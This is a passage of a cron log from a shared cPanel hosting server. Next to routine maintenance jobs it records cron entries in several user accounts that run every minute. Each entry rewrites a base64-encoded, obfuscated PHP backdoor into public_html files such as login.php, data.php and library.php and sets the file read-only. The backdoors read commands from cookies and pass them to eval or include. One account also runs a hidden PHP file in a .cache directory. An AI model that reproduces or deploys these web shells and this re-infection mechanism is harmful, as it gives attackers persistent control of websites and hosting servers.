MVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:25:01 medusa CROND[14018]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:25:01 medusa CROND[14020]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:25:02 medusa CROND[14033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:25:02 medusa CROND[14043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:25:02 medusa CROND[14045]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:25:02 medusa CROND[14044]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:25:02 medusa CROND[14046]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:25:02 medusa CROND[14047]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:25:02 medusa CROND[14049]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:25:02 medusa CROND[14048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:25:02 medusa CROND[14051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:25:02 medusa CROND[14052]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:25:02 medusa CROND[14054]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:25:02 medusa CROND[14055]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:25:02 medusa CROND[14056]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:25:02 medusa CROND[14050]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:25:02 medusa CROND[14057]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:25:02 medusa CROND[14060]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:25:02 medusa CROND[14062]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Jun  7 10:25:02 medusa CROND[14065]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:25:02 medusa CROND[14069]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:25:02 medusa CROND[14071]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:25:02 medusa CROND[14064]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:26:02 medusa CROND[16061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:26:02 medusa CROND[16062]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:26:02 medusa CROND[16063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:26:02 medusa CROND[16064]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:26:02 medusa CROND[16066]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:26:02 medusa CROND[16067]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:26:02 medusa CROND[16070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:26:02 medusa CROND[16068]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:26:02 medusa CROND[16071]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:26:02 medusa CROND[16076]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:26:02 medusa CROND[16077]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:26:02 medusa CROND[16078]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:26:02 medusa CROND[16079]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:26:02 medusa CROND[16080]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:27:01 medusa CROND[17784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:27:01 medusa CROND[17793]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:27:01 medusa CROND[17792]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:27:01 medusa CROND[17794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:27:01 medusa CROND[17795]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
